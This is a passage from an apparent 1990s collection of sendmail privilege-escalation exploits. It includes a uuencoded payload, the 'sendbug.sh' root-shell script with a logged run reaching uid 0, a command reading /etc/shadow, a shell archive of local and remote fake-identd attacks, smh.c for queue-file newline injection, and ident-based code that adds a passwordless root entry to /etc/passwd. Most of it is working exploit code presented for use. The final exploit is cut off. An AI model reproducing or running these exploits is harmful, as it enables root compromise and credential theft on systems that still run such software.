  884.                 n1=${prefix}46953
  885.                 n2=${prefix}46954
  886.                 n3=${prefix}46955
  887.                 echo Sun 4.1.3 sendmail.mx - could be either of two versions
  888.                 n4=${prefix}46609
  889.                 n5=${prefix}46610
  890.                 n6=${prefix}46611
  891.                 ;;
  892.         *)
  893.                 echo "I don't know what version of sendmail $sendmail is."
  894.                 echo -n "Look for other versions of sendmail[.mx] on the "
  895.                 echo "system and re-run this as:"
  896.                 echo "     $0 /path/to/another/suid/sendmail"
  897.                 echo
  898.                 echo "Let me see if I can suggest anything..."
  899.                 find /usr/lib /var/sadm/patch -name "*sendm*" -perm -4001
  900. -ls 2>/dev/null
  901.                 exit 1
  902.                 ;;
  903.         esac
  904.  
  905. cat << EOM > /tmp/sendmail.cf
  906. DMether
  907. DRlocalhost
  908. CRlocalhost
  909. CDMailer-Daemon root daemon uucp
  910. DlFrom \$g  \$d
  911. Do.:%@!^=/[]
  912. Dq\$g\$?x (\$x)\$.
  913. De\$j nothing
  914. OA./aliases
  915. OF0666
  916. Og1
  917. OL0
  918. Oo
  919. OPPostmaster
  920. OQ.
  921. Os
  922. Ou1
  923. T root daemon uucp
  924.  
  925. H?F?From: nobody
  926.  
  927. Mlocal, P=/tmp/in.telnet, F=flsSDFMmnP, S=10, R=20, A=mail -d \$u
  928. Mprog,  P=/tmp/in.telnet,   F=lsDFMeuP,  S=10, R=20, A=sh -c \$u
  929.  
  930. S0
  931. R\$+                    \$#local \$:\$1                 just rewrite
  932. EOM
  933.  
  934. cat $0 | sed "s:atreus::" | uudecode
  935. uncompress /tmp/in.telnet.Z
  936. chmod 755 /tmp/in.telnet
  937.  
  938. mkdir /tmp/mail
  939. cp /tmp/sendmail.cf /tmp/mail
  940.  
  941. cp /bin/sh /tmp/newsh
  942. chmod 666 /tmp/newsh
  943.  
  944. $sendmail -d${n1}.116,${n2}.109,${n3}.112 `whoami`  <Q2RA)! %(atreus
  945. M5$,).9]$%38!E!= H,(LP$LV*KJ*8(15)".N(AI2!6Q*(@ HPM6U6<4A@716atreus
  946. M+H@"%QQ:D@!. ":U%L;2T'36E%H$D 0 H"!ML><#H0N.!B?A-(#4!5>PGGT9atreus
  947. M068Z7==^%;%A[ BS!U6]5@P*#4V;. $L*)YY,P%@$LP"B' [-X#=O=56&'N!atreus
  948. M]4'J<$(""V!.*1]U2@&Q4TJHY5J8,@FC%"+^00 3&, (" HC_B$@" 1@D*$@atreus
  949. M))R!$, GQ!0$'1^!' ,. H&@4;"CP$@ EIKMFFatreus
  950. MG%-6>24;66X)0AMAP %'&FZ< 8(98:3!1AURE)'G0A3TR::;<'H)IIADXKG0atreus
  951. M"W2T <<+;I1QQQQH%#35+Y",%40(+OET@!X5 @ )!2)  AT MN;AF:Z\Q@K atreus
  952. M 7F8E4([MJZ1:X<?AOC0JY DAY( ((!3UR__$-: )!)D"XT 8%!FEXLY)3"Latreus
  953. M)>02\*LD[8X+Q )U'20!M_U\!$H DDB24W8*6"M*N."$H@(8 D!#P'B?P&03atreus
  954. M0J 0\@,_,N"K\'C0@BBB5%15>Y(TV')3%QCH I  *.%R  0BI51#1!36 $ 4(1>7X0Y$5)%M!!R"TL$L(50[ atreus
  955. MI8N8&A"-4WJ:/7H#?P%H]060%G&Z00P!DP-, 8NA9 D\&B*,Gatreus
  956. M"Y$-X$=!(M1=D R9%R"'4$06M$/F!^0@E$)%? ^*GDO@R0% IQ I") %>LI"atreus
  957. M9 A@BH*,@!0("0-/B**G-)"/#GJ20^9,(Q1H((00HSM ')Z'D$F,3@#3$ HXatreus
  958. M$"**R!@@#P[$ D)JX<)$L&^%!4%&_/X'+&1\H0QT* ,>,/A#,H2!#F$ P _=atreus
  959. M0 8 S &):G(B%.GP!3.PX0U'5.(/\9 &(B**44HL@QOLD(8RN4&+1,B"$X+0atreus
  960. MA"0,(8Q<).(8T-"&-S3Q"W-\PQW.^(4^?I&/X88M=U*(0N_@%atreus
  961. M,M2A#6W(0R/+,(:L]?$+0Z#"$Z3P!28D80I4Z*,6OT $37+2DZ 4Y27)\(8Oatreus
  962. MG.&*8@@#&_!(AS?(80ZC9*4K82G+1M;REHJ,8R,?&1"=*T8I:]*(8S:A&-\K1CGKTHR -J4A'2M*2FO2D*$VI2E?*TI:Z]*4Patreus
  963. MC:E,9TK3FMKTICC-J4YWRM.>^O2G0 VJ4(=*U*(:]:A(3:I2E\K4ICKUJ5"-atreus
  964. MJE2G2M6J6O6J6,VJ5K?*U:YZ]:M@#:M8QTK6LIKUK&A-JUK7RM:VNO6M<(VKatreus
  965. M7.=*U[K:]:YXS>M2_0,$UP&+!"'V!BPN"(5D !B !W4"6)U0;R&5*P Ratreus
  966. M$()#[@$ L3XQ7"" 0;*HO H43OL'/SQ+%= ^+1]!"YT(VN=*=+atreus
  967. MW>I:][K8S:YVM\O=[GKWN^ -KWC'2][RFO>\Z$VO>M?+WO:Z][WPC:]\YTO?atreus
  968. +^MKWOOC-KW[WFUS=atreus
  969.  atreus
  970. endatreus
  971. ----------------------- CuT HeRe -------------------------------------
  972.  
  973. Here it is the other script:
  974.  
  975. /* What follows is a sample run exercising the latest sendmail hole and the
  976. script used to exploit this hole. This is a re-send; I neglected to escape
  977. the "." in the sendmail script, leaving the program slightly truncated. To
  978. fix this, I have escaped the . so prior to executing this you must remove
  979. the \. (does that make any sense? :-) There was also a small problem with
  980. nested quotes pointed out by Peter Wemm which I have fixed.
  981.  
  982. This is the "small version" of the script; it assumes you have a sane
  983. sendmail.cf. In this manner, it is not a particularly robust "breakin
  984. script" but I believe it does illustrate how to exploit the bug.
  985.  
  986. This program uses "calc.c," the program mentioned by Timothy Newsham in an
  987. earlier message. The program has been modified slightly so that it gives
  988. better results (it would occasionally fail to locate the offset of a config
  989. given a buggy sendmail. The fix is to force a sync() after it generates a
  990. coredump.) The remainder of the program was written by myself and a fellow
  991. student, Steven Dake.
  992.  
  993. We have held off on releasing this script until we were able to notify the
  994. people responsible for system security at NAU. Locals subscribing to this
  995. digest beware; sendmail on our machines has been patched! :-) */
  996.  
  997. Script started on Thu Mar 24 00:54:54 1994
  998. [pine] [1] date
  999. Thu Mar 24 00:54:57 MST 1994
  1000. [pine] [2] whoami
  1001. jwa
  1002. [pine] [3] id
  1003. uid=4473(jwa) gid=400(student)
  1004. [pine] [4] ls -l sendbug.sh
  1005. -rwx------   1 jwa      student     4893 Mar 24 00:46 sendbug.sh*
  1006. [pine] [5] sendbug.sh
  1007. Creating setid0 ...
  1008. Creating calc...
  1009. Scanning core image for /nau/local/lib/mail/sendmail.cf...
  1010. Creating alias.sh ...
  1011. Creating fake alias file...
  1012. Faking alias pointer in new config file...
  1013. Creating the sendmail script...
  1014. Executing /usr/lib/sendmail -
  1015. d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,4294935553.115,429
  1016. 4935554.109,4294935555.46,4294935556.9
  1017. Version 8.6.4
  1018. 220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994
  1019. 00:55:21 -0700
  1020. 220 ESMTP spoken here
  1021. 250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you
  1022. 250 ... Sender ok
  1023. 250 ... Recipient ok
  1024. 354 Enter mail, end with "." on a line by itself
  1025. 250 AAA01803 Message accepted for delivery
  1026. 503 Need MAIL before RCPT
  1027. 503 Need MAIL command
  1028. 500 Command unrecognized
  1029. 500 Command unrecognized
  1030. 221 pine.cse.nau.edu closing connection
  1031. setid0 is a suid shell.  executing...
  1032. executing /bin/csh...
  1033. pine# whoami
  1034. root
  1035. pine# id
  1036. uid=0(root) gid=0(root)
  1037. pine# exit
  1038. pine# end of script.
  1039.  
  1040. . and here's the program.
  1041.  
  1042. #!/bin/sh
  1043. # exploit new sendmail bug to give us a root shell
  1044. # 24 mar 94  jwa/scd @nau.edu
  1045. # "short version"
  1046. # tested on sunos 5.2/sendmail 8.6.4
  1047.  
  1048. # location of sendmail
  1049. SENDMAIL=/usr/lib/sendmail
  1050.  
  1051. # location of original sendmail.cf file
  1052. CONFIG=/nau/local/lib/mail/sendmail.cf
  1053. #CONFIG=`strings $SENDMAIL | grep sendmail.cf`
  1054.  
  1055. # program to execute as root
  1056. SHELL=/bin/csh
  1057.  
  1058. TEMPDIR=/tmp/sendbug-tmp.$$
  1059. mkdir $TEMPDIR
  1060. chmod 700 $TEMPDIR
  1061. cd $TEMPDIR
  1062.  
  1063. cp $SENDMAIL sm
  1064. chmod 700 sm
  1065.  
  1066. echo "Creating setid0 ..."
  1067. cat > setid.c << _EOF_
  1068.  
  1069. /* set uid to zero, thus escaping the annoying csh and solaris sh
  1070.  * problem..
  1071.  *
  1072.  * if (getuid() != geteuid()) {
  1073.  *  printf("permission denied, you root-hacker you.\n");
  1074.  *  exit(1);
  1075.  * }
  1076.  *
  1077.  * .. must be run euid 0, obviously.  with no args it runs /bin/sh,
  1078.  * otherwise it runs the 1st arg.
  1079.  */
  1080.  
  1081. #include <stdio.h>
  1082.  
  1083. main(argc, argv)
  1084. int argc;
  1085. char *argv[];
  1086.  
  1087.  int uid;
  1088.  
  1089.  setuid(0);
  1090.  setgid(0);
  1091.  seteuid(0);  /* probabally redundant. */
  1092.  setegid(0);
  1093.  
  1094.  uid = getuid();
  1095.  
  1096.  if (uid != 0) {
  1097.   printf("setuid(0); failed!  aborting..\n");
  1098.   exit(1);
  1099.  }
  1100.  
  1101.  if (argc !=2) {
  1102.   printf("executing /bin/sh...\n");
  1103.   system("/bin/sh");
  1104.  }
  1105.   else
  1106.  {
  1107.   printf("executing %s...\n", argv[1]);
  1108.   system(argv[1]);
  1109.  }
  1110.  
  1111. _EOF_
  1112.  
  1113. cc -o setid0 setid.c
  1114.  
  1115. echo "Creating calc..."
  1116.  
  1117. cat > calc.c << _EOF_
  1118. /*
  1119.  * Determines offset in sendmail of
  1120.  * sendmail.cf file location.
  1121.  * author: timothy newsham
  1122.  */
  1123. #include <fcntl.h>
  1124.  
  1125. gencore()
  1126.  
  1127.   int pid;
  1128.   int fd[2];
  1129.  
  1130.   if(pipe(fd) < 0) {
  1131.     perror("pipe");
  1132.     exit(1);
  1133.     return(0);
  1134.   }
  1135.   pid = fork();
  1136.   if(!pid) {
  1137.     int f = open("./out", O_RDWR|O_CREAT, 0666);
  1138.     dup2(f, 1); dup2(fd[0], 0);
  1139.     close(f); close(fd[1]); close(fd[0]);
  1140.     execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
  1141.     perror("exec");
  1142.     exit(0);
  1143.   } else {
  1144.     sleep(2);
  1145.     kill(pid, 11);
  1146.   }
  1147.   close(fd[0]);
  1148.   close(fd[1]);
  1149.  
  1150. main(argc,argv)
  1151. char **argv;
  1152. int argc;
  1153.  
  1154.   unsigned int ConfFile,tTdvect,off;
  1155.  
  1156.   gencore();
  1157.   sync();   /* grr. */
  1158.   tTdvect = find("ZZZZZZZZ", "core");
  1159.   ConfFile = find(argv[1], "core");
  1160.   if(!tTdvect || !ConfFile) {
  1161.    return(1);
  1162.   }
  1163.   off = ConfFile - tTdvect;
  1164.  
  1165.  
  1166. printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",  off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
  1167.   off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);
  1168.  
  1169. int find(pattern, file)
  1170. char *pattern,*file;
  1171.  
  1172.   int fd;
  1173.   int i, addr;
  1174.   char c;
  1175.  
  1176.   fd = open(file, 0);
  1177.  
  1178.   i = 0;
  1179.   addr = 0;
  1180.   while(read(fd, &c, 1) == 1) {
  1181.     if(pattern[i] == c)
  1182.       i++;
  1183.     else
  1184.       i=0;
  1185.     if(pattern[i] == '\0') {
  1186.       addr -= strlen(pattern);
  1187.       return(addr);
  1188.     }
  1189.     addr++;
  1190.   }
  1191.   return(0);
  1192.  
  1193. _EOF_
  1194. cc calc.c -o calc
  1195.  
  1196. echo "Scanning core image for $CONFIG..."
  1197.  
  1198. DEBUGFLAGS=`calc $CONFIG`
  1199.  
  1200. echo "Creating alias.sh ..."
  1201. echo "#!/bin/sh
  1202. # this program will be executed when mail is sent to the fake alias.
  1203. # since solaris sh and csh and tcsh refuse to run when euid != realuid,
  1204. # we instead run the program we compiled above.
  1205.  
  1206. /bin/chmod 6777 $TEMPDIR/setid0
  1207. /bin/chown root $TEMPDIR/setid0
  1208. /bin/sync
  1209.  
  1210. " > alias.sh
  1211.  
  1212. chmod 755 alias.sh
  1213.  
  1214. echo "Creating fake alias file..."
  1215. echo "yash: |$TEMPDIR/alias.sh" > aliases
  1216.  
  1217. echo "Faking alias pointer in new config file..."
  1218. egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
  1219. echo "
  1220. # hacks follow
  1221.  
  1222. OA/$TEMPDIR/aliases                     # our fake alias file
  1223. Ou0                                     # user ID to run as
  1224. Og0                                     # group ID to run as
  1225. DZWHOOP-v1.0" >> /tmp/sm.cf
  1226.  
  1227. echo "Creating the sendmail script..."
  1228.  
  1229. cat > sendmail.script << _EOF_
  1230. helo
  1231. mail from: <nobody>
  1232. rcpt to: <yash>
  1233. data
  1234. yet another sendmail hole?  suid whoop?
  1235. \.                                      # oops.. delete \ prior to execution
  1236. quit
  1237. _EOF_
  1238.  
  1239. echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."
  1240.  
  1241. $SENDMAIL $DEBUGFLAGS -bs < sendmail.script
  1242.  
  1243. # give it time to execute.
  1244. sleep 4
  1245.  
  1246. # cleanup in 5 seconds
  1247. (sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &
  1248.  
  1249. if [ -u setid0 ]
  1250. then
  1251.  echo "setid0 is a suid shell.  executing..."
  1252.  cd /
  1253.  $TEMPDIR/setid0 /bin/csh
  1254.  echo "end of script."
  1255.  exit 0
  1256. else
  1257.  echo "setid0 is not suid; script failed."
  1258.  echo "apparently, you don't have the bug.  celebrate :-)"
  1259.  exit 1
  1260. fi
  1261.  
  1262. --------------------------------- CuT HeRe --------------------------------
  1263.  
  1264. -oE/filename bounce = 8.6.7 =
  1265.  
  1266. Version affected: 8.6.7
  1267.  
  1268. A bug in Sendmail 8.6.7 allows anyone to read any file, including the
  1269. shadowed password file:
  1270.  
  1271. /usr/lib/sendmail -oE/etc/shadow bounce
  1272. From: your_username
  1273.  
  1274. 8.6.9 = 8.6.9 or earlier =
  1275.  
  1276. Mail any file to yourself.
  1277.  
  1278. ------8<-------------------Cut Here--------------------8<-------------------
  1279. # This is a shell archive.  Save it in a file, remove anything before
  1280. # this line, and then unpack it by entering "sh file".  Note, it may
  1281. # create directories; files and directories will be owned by you and
  1282. # have default permissions.
  1283. #
  1284. # This archive contains:
  1285. #
  1286. #       description
  1287. #       sm869.local
  1288. #       sm869.remote
  1289. #
  1290. echo x - description
  1291. sed 's/^X//' >description << 'END-of-description'
  1292. X
  1293. XProgram: sm869.remote
  1294. X
  1295. Xyou can:
  1296. X
  1297. X   run the body of the mail through a shell if
  1298. X   sendmail is allowed to run a shell.
  1299. X
  1300. X   write the whole message to a file.
  1301. X
  1302. X   have it send back a file to an account you specify.
  1303. X
  1304. XThe last option is supposed to remove the file after sending
  1305. Xit but I found that it hasn't in my tests.  Why?  Well
  1306. Xit has multiple recipients, one of the recipients is a
  1307. Xrecipient that will never go through.  So the data file
  1308. Xgets kept around until it gives up on that host.  This
  1309. Xcan be several days.
  1310. X
  1311. XProblems:
  1312. X
  1313. X  The action you specify will happen every 30minutes (the
  1314. X  queue time, may be different) until it gives up sending
  1315. X  to the unreachable host.  (Actually this may be false.
  1316. X  I haven't left it around long enough to see if this happens.
  1317. X  Perhaps sendmail is smart enough to remove the other recipients
  1318. X  that did get delievered from the queue file).
  1319. X
  1320. X  If you send a file back to yourself it may get removed
  1321. X  several days later.  If you get the password file or
  1322. X  some other critical file you had better be ready to clean
  1323. X  up.
  1324. X
  1325. X  Lots of logs.  Its fairly obvious from the log files that
  1326. X  some hokey pokey is going on.  If you're sending a file
  1327. X  back to yourself then you're pointing a finger at one
  1328. X  of your accounts
  1329. X
  1330. XYou have to go into the program to change the options you
  1331. Xwant.  The code is fairly well commented so this shouldn't
  1332. Xbe any problem.
  1333. X
  1334. XProgram: sm869.local
  1335. X
  1336. XSame thing as above really except it works even if sendmail
  1337. Xdoesnt check identd and you dont have to specify an unreachable
  1338. Xhost.  The file goes straight to the queue.
  1339. X
  1340. END-of-description
  1341. echo x - sm869.local
  1342. sed 's/^X//' >sm869.local << 'END-of-sm869.local'
  1343. X#!/bin/sh
  1344. X#
  1345. X# Exploit hole in sendmail 8.6.9 and earlier.
  1346. X#
  1347. X
  1348. X# Either write a file or run a program.
  1349. X#ACTION="|/tmp/runme"
  1350. XACTION="/tmp/writeme"
  1351. X
  1352. X# Data file to read from and then remove
  1353. XDATAFILE="/tmp/abc"
  1354. X#DATAFILE=""
  1355. X
  1356. X# Who to run as
  1357. XRUNAS="bin"
  1358. X
  1359. X# Who to send mail to
  1360. XWHOAMI=`whoami`
  1361. XSENDTO=$WHOAMI
  1362. X#SENDTO="someone-else"
  1363. X
  1364. X# Build up arg and send it off
  1365. Xif [ -n "$DATAFILE" ] ; then
  1366. XARG="$WHOAMI
  1367. XD$DATAFILE
  1368. XC:$RUNAS
  1369. XR\"$ACTION\""
  1370. Xelse
  1371. XARG="$WHOAMI
  1372. XC:$RUNAS
  1373. XR\"$ACTION\""
  1374. Xfi
  1375. Xsendmail -odq -F"$ARG" $SENDTO << _END_
  1376. XThis is appearing in the mailbox
  1377. Xand also being piped to the program or
  1378. Xwritten to the file, UNLESS you specify
  1379. Xa datafile above.  In that case the datafile
  1380. Xwill be written and erased and this text will
  1381. Xbe left (not deleted) in the queue directory.
  1382. X_END_
  1383. X
  1384. END-of-sm869.local
  1385. echo x - sm869.remote
  1386. sed 's/^X//' >sm869.remote << 'END-of-sm869.remote'
  1387. X#!/bin/sh
  1388. X#
  1389. X# exploit for sm869 or worse
  1390. X# identd must not be enabled (port 113 must be free)
  1391. X
  1392. X# this must be a host that mail can go to (MX not pointing elsewhere)
  1393. X# that we cant reach right now (ie. host doesnt exist anymore)
  1394. XUNREACHABLE="goofy.uhcc.hawaii.edu"
  1395. X
  1396. X# Commands to run on remote host
  1397. XCOMMANDS="touch /tmp/gotcha"
  1398. X
  1399. X# what host to run it on
  1400. XTARGET="localhost"
  1401. X
  1402. X# work in a temp dir
  1403. XTD=/tmp/.Xwork.$$
  1404. Xmkdir $TD
  1405. Xcd $TD
  1406. X
  1407. Xcat > a.c <<_END_
  1408. X#include <sys/types.h>
  1409. X#include <sys/socket.h>
  1410. X#include <netinet/in.h>
  1411. X
  1412. X/* run body of mail through shell run as daemon */
  1413. X#define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed
  1414. '1,/^$/d'|/bin/sh\"\nHXxx:
  1415. "
  1416. X
  1417. X#ifdef other_possibilities
  1418. X/* write to a file as daemon */
  1419. X#define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: "
  1420. X/* send back a file to someone and erase it */
  1421. X#define REPLY "USERID : UNIX :
  1422. a\nD/tmp/sendtome\nRmy@address.here\nHXxx: "
  1423. X#endif
  1424. X
  1425. Xreadline(fd, buf, len)
  1426. Xchar *buf;
  1427. X{
  1428. X    int i = 0;
  1429. X
  1430. X    while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {
  1431. X       if(buf[i] == '\r' || buf[i] == '\n')
  1432. X           break;
  1433. X       i++;
  1434. X    }
  1435. X    buf[i] = '\0';
  1436. X}
  1437. X
  1438. Xdie(str)
  1439. Xchar *str;
  1440. X{
  1441. X    perror(str); exit(1);
  1442. X}
  1443. X
  1444. Xmain()
  1445. X{
  1446. X    int s, s2, adlen;
  1447. X    struct sockaddr_in ad;
  1448. X    char buf[60];
  1449. X
  1450. X    ad.sin_family = AF_INET;
  1451. X    ad.sin_port = htons(113);
  1452. X    ad.sin_addr.s_addr = INADDR_ANY;
  1453. X    if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");
  1454. X    if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");
  1455. X    if(listen(s, 1) == -1) die("listen");
  1456. X    adlen = sizeof(ad);
  1457. X    s2 = accept(s, (struct sockaddr *)&ad, &adlen);
  1458. X    if(s2 == -1) die("accept");
  1459. X    printf("Connection from %s port %d\n",
  1460. X        inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));
  1461. X    readline(s2, buf, 50);
  1462. X    sprintf(buf + strlen(buf), " : %s\n", REPLY);
  1463. X    write(s2, buf, strlen(buf));
  1464. X}
  1465. X_END_
  1466. X
  1467. X# compile program
  1468. Xecho "compiling"
  1469. Xcc a.c -o ident
  1470. Xecho "running fake ident"
  1471. X./ident &
  1472. X
  1473. X# send to reomte
  1474. Xecho "talking to remote"
  1475. X(
  1476. X  sleep 1; echo "helo"
  1477. X  sleep 1; echo "mail from: "
  1478. X  sleep 1; echo "rcpt to: "
  1479. X  sleep 1; echo "data"
  1480. X  echo "$COMMANDS"
  1481. X  echo "."
  1482. X  sleep 1; echo "quit"
  1483. X  sleep 5
  1484. X) | telnet $TARGET 25
  1485. X
  1486. X# cleanup
  1487. Xcd /
  1488. Xrm -rf $TD
  1489. Xecho "done."
  1490. X
  1491. END-of-sm869.remote
  1492. exit
  1493.  
  1494. .................................. CuT HeRe ..................................
  1495.  
  1496. 8.6.9 newlines = 8.6.9 =
  1497.  
  1498. When a message is queued for delivery by sendmail, a pair of files are
  1499. written to the spool directory (/var/spool/mqueue on many systems). One of
  1500. these files (qf<something>) contains information related to the processing
  1501. of the message (headers, sender, recipient, etc.). Taking versions of
  1502. sendmail prior to 8.6.10 as an example, one of the pieces of information
  1503. maintained in this file is the name of the controlling user if mail is
  1504. being delivered to a script (or file). By feeding sendmail a recipient
  1505. address that contains newlines, it is possible to add lines to the queue
  1506. file which specify a controlling user and an executable to run with that
  1507. users access level. The 8.6.10 patch removes this hole, by stripping
  1508. newlines from the recipient address before writing the queue file.
  1509.  
  1510. EXPLOIT:
  1511.  
  1512. /* smh.c - Michael R. Widner - atreus (2/27/95)
  1513.  *
  1514.  * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
  1515.  * hole.  It's really just a matter of passing newlines in arguments to
  1516.  * sendmail and getting the stuff into the queue files.  If we run this
  1517.  * locally with -odq we are guaranteed that it will be queue, rather than
  1518.  * processed immediately.  Wait for the queue to get processed automatically
  1519.  * or just run sendmail -q if you're impatient.
  1520.  
  1521.  * usage: smh [ username [/path/to/sendmail]]
  1522.  
  1523.  * It's worth noting that this is generally only good for getting bin.
  1524.  * sendmail still wants to process the sendmail.cf file, which contains
  1525.  * Ou1 and Og1 most of the time, limiting you to bin access.  Is there
  1526.  * a way around this?
  1527.  
  1528.  * cc -o smh smh.c should do the trick.  This just creates a bin owned
  1529.  * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.  Note that on some
  1530.  * systems this is pretty much worthless, but you're smart enough to know
  1531.  * which systems those are.  Aren't you?
  1532.  */
  1533.  
  1534. #include <sys/types.h>
  1535. #include <unistd.h>
  1536. #include <stdlib.h>
  1537.  
  1538. main(argc, argv)
  1539. int argc;
  1540. char **argv;
  1541. {
  1542.         execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",
  1543.         "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal,
  1544. P=/bin/sh, F=lsDFMeu,
  1545. A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777
  1546. /tmp/newsh\">\n$rascii ",
  1547.         argv[1] ? argv[1] : "atreus",0);
  1548. }
  1549.  
  1550. ................................ CuT HeRe ..................................
  1551.  
  1552. 8.6.10 ident/newlines = 8.6.10 =
  1553.  
  1554. This is a sendmail 8.6.10 attack based on the problems that sendmail 8.6.10
  1555. inherited from sendmail 8.6.9 .... Look at comments in the source. Two
  1556. exploits follow:
  1557.  
  1558. /* 8.6.10 sendmail attacker
  1559.  *
  1560.  * gcc ident.c -o ident
  1561.  * add the following line to your /etc/inetd.conf:
  1562.  * ident  stream tcp  nowait  root  /tmp/ident  in.identd
  1563.  * then kill -HUP inetd
  1564.  *
  1565.  * Not for not public use or disclosure.
  1566.  *
  1567.  * This is a sendmail 8.6.10 attack based on the problems that
  1568.  * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting
  1569.  * information given to it by identd, which included bogus characters
  1570.  * and newlines that it later appended to the queue file.  Sendmail 8.6.10
  1571.  * supposedly "strips" newlines before they are written, however, it
  1572.  * converts them to spaces, and the following code demonstrates that
  1573.  * quick work-around patches are never ever stable...
  1574.  *
  1575.  * NOTES:  This hack only works when sendmail queues up the message for
  1576.  * later delivery.  This depends on the configuration of sendmail.cf and
  1577.  * on the machine loading.  If you can do something to drag the machine to
  1578.  * its knees, then fire off this attack, you stand a much better chance of
  1579.  * success.
  1580.  *
  1581.  * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the
  1582.  * default user to bin.bin), this exploit will not work.
  1583.  *
  1584.  * Also, since this only works when sendmail queues up the message for
  1585.  * later delivery, the time of execution is dependant on how sendmail
  1586.  * has been configured in sendmail.cf and machine load.  Heavily loaded
  1587.  * machines (or machines that have been intentionally flooded) have a
  1588.  * greater possibility of this exploit working.
  1589.  *
  1590.  */
  1591.  
  1592. #include <sys/types.h>
  1593. #include <sys/fcntl.h>
  1594. #include <sys/time.h>
  1595. #include <stdio.h>
  1596. #include <stdlib.h>
  1597. #include <string.h>
  1598. #include <unistd.h>
  1599.  
  1600. /* TIMEOUT is the number of seconds to wait before closing the connection if
  1601.  * the client doesn't provide the port pairs.
  1602.  */
  1603.  
  1604. #define TIMEOUT 120
  1605. /* PROCINFO_BUFFER_SIZE must be bigger than 80 */
  1606. #define OUTPUT_BUFFER_SIZE 2048
  1607. #define SOCKET_BUFFER_SIZE 100
  1608.  
  1609. unsigned short lport = 0, rport = 0;
  1610.  
  1611. void
  1612. main ()
  1613. {
  1614.     unsigned long here, there;
  1615.     struct fd_set fdset;
  1616.     struct timeval timeout;
  1617.     char buffer[OUTPUT_BUFFER_SIZE];
  1618.     char inbuffer[SOCKET_BUFFER_SIZE];
  1619.     int len;
  1620.     int fd;
  1621.  
  1622.     FD_ZERO (&fdset);
  1623.     FD_SET (0, &fdset);
  1624.     timeout.tv_sec = TIMEOUT;
  1625.     timeout.tv_usec = 0;
  1626.  
  1627.     select (1, &fdset, NULL, NULL, &timeout);
  1628.     len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
  1629.     if (len <= 0)
  1630.     exit (0);
  1631.     FD_SET (0, &fdset);
  1632.  
  1633.     sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
  1634.     "Croot\r\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nMlocal,
  1635.     P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nR<\"|/bin/echo toor::0:1:toor:/:/bin/csh
  1636.  >> /etc/passwd\">\r\nR<\"|/usr/bin/chmod 4755 /usr/bin/time\");
  1637.     write (1, buffer, strlen (buffer));
  1638.     exit (0);
  1639. }
  1640.  
  1641. ................................ CuT HeRe ..................................
  1642.  
  1643. Second Exploit follows:
  1644.  
  1645. /* 8.6.10 sendmail attacker
  1646.  *
  1647.  * gcc ident.c -o ident
  1648.  * add the following line to your /etc/inetd.conf:
  1649.  * ident  stream tcp  nowait  root  /tmp/ident  in.identd
  1650.  * then kill -HUP inetd
  1651.  *
  1652.  * Not for not public use or disclosure.
  1653.  *
  1654.  * This is a sendmail 8.6.10 attack based on the problems that
  1655.  * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting
  1656.  * information given to it by identd, which included bogus characters
  1657.  * and newlines that it later appended to the queue file.  Sendmail 8.6.10
  1658.  * supposedly "strips" newlines before they are written, however, it
  1659.  * converts them to spaces, and the following code demonstrates that
  1660.  * quick work-around patches are never ever stable...
  1661.  *
  1662.  * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the
  1663.  * default user to bin.bin), this exploit will not work.
  1664.  *
  1665.  * Also, since this only works when sendmail queues up the message for
  1666.  * lar delivery, the time of execution is dependant on how sendmail
  1667.  * has been configured in sendmail.cf and machine load.  Heavily loaded
  1668.  * machines (or machines that have been intentionally flooded) have a
  1669.  * greater possibility of this exploit working.
  1670.  *
  1671.  */
  1672.  
  1673. #include <sys/types.h>
  1674. #include <sys/fcntl.h>
  1675. #include <sys/time.h>
  1676. #include <stdio.h>
  1677. #include <stdlib.h>
  1678. #include <string.h>
  1679. #include <unistd.h>
  1680.  
  1681. /* TIMEOUT is the number of seconds to wait before closing the connection if
  1682.  * the client doesn't provide the port pairs.
  1683.  */
  1684.  
  1685. #define TIMEOUT 120
  1686. /* PROCINFO_BUFFER_SIZE must be bigger than 80 */
  1687. #define OUTPUT_BUFFER_SIZE 2048
  1688. #define SOCKET_BUFFER_SIZE 100
  1689.  
  1690. unsigned short lport = 0, rport = 0;
  1691.  
  1692. void
  1693. main ()
  1694. {
  1695.     unsigned long here, there;
  1696.     struct fd_set fdset;
  1697.     struct timeval timeout;
  1698.     char buffer[OUTPUT_BUFFER_SIZE];
  1699.     char inbuffer[SOCKET_BUFFER_SIZE];
  1700.     int len;
  1701.     int fd;
  1702.     FD_ZERO (&fdset);
  1703.     FD_SET (0, &fdset);
  1704.     timeout.tv_sec = TIMEOUT;
  1705.     timeout.tv_usec = 0;
  1706.  
